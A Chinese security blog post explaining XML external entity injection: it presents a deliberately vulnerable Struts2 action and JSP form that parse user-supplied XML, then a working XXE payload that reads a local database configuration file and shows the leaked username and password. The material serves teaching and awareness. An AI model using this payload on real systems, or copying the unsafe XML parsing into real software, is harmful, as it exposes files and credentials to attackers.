首先需要声明,本文纯属一个毫无远见和真才实学的小小开发人员的愚昧见解,仅供用于web系统安全方面的参考。
在我们经常开发、使用、运维的系统中,XML的使用频率是非常的高的。我们给服务器提供数据可能是XML(对用户而言不是,对系统和服务之间是),服务器返回给客户端的可能也是XML。
XML的功能本身非常强大,但是很多的时候我们并没有去理解它的强大的功能,而只是当它作为常规的数据传输的载体,于是这种漏洞的产生了。
百度上好像发现了某个功能被XML注入实体 的漏洞;
腾讯上某功能好像也发现了类似的漏洞;
场景和前提说明
我们假设攻击者已经知道你的数据库配置文件以及所在位置
比如在:D:\ffm83 目录下的xml.ini 文件,现在我们要利用XML注入实体,来窃取这份数据库配置文件
xml.ini 文件的内容为:
username:user
password:pass
仅用于示例和说明:
<%@ page language="java" import="java.util.*" pageEncoding="UTF-8"%>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>阿饭同学的测试</title>
</head>
<body>
<form action="aXmlQuery.action" method="post" name="form1">
<table width="492" border="1">
<tr><td>输入XML</td></tr>
<tr>
<td height="35">
<textarea name="infos" cols="60" rows="4" ></textarea>
</td>
</tr>
<tr align="center">
<td colspan="2" bgcolor="#FFCC00"><input type="submit" value="查询" />
</td>
</tr>
<tr><td>欢迎您:<%=(String)request.getAttribute("username")%> </td>
</tr>
</table>
</form>
</body>
</html>
package com.safe;
import java.io.ByteArrayInputStream;
import java.io.InputStream;
import javax.servlet.http.HttpServletRequest;
import org.apache.commons.configuration.XMLConfiguration;
import org.apache.commons.lang.xwork.StringUtils;
import org.apache.struts2.ServletActionContext;
import com.opensymphony.xwork2.ActionSupport;
public class EasyXmlQueryAction extends ActionSupport {
private static final long serialVersionUID = 1931829246016041219L;
public String execute() throws Exception {
HttpServletRequest request = ServletActionContext.getRequest();
String infos = request.getParameter("infos");
String username = "";
XMLConfiguration config = new XMLConfiguration();
InputStream in = new ByteArrayInputStream(infos.getBytes());
try{
config.load(in);
username = config.getString("username");
}catch(Exception e){
e.printStackTrace();
}
request.setAttribute("username", username);
System.out.println("获得的信息为:" + infos);
return "success";
}
}
我们在页面上输入一个正常的XML:
<?xml version="1.0" encoding="UTF-8" ?>
<widgets>
<username>NAME</username>
<sex>man</sex>
</widgets>
页面上显示:欢迎您:NAME
下面我们利用XML的实体注入进行窃取系统内部的敏感信息:
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE foo [<!ENTITY name SYSTEM "file:///D:/ffm83/xml.ini" >] >
<widgets>
<username>&name;</username>
<sex>man</sex>
</widgets>
页面上显示:欢迎您:username:user password:pass
内部核心数据完全暴露了。
看好你的门-攻击服务端(2)-注入XML实体 窃取本地数据库配置
原文地址:http://blog.csdn.net/ffm83/article/details/44219451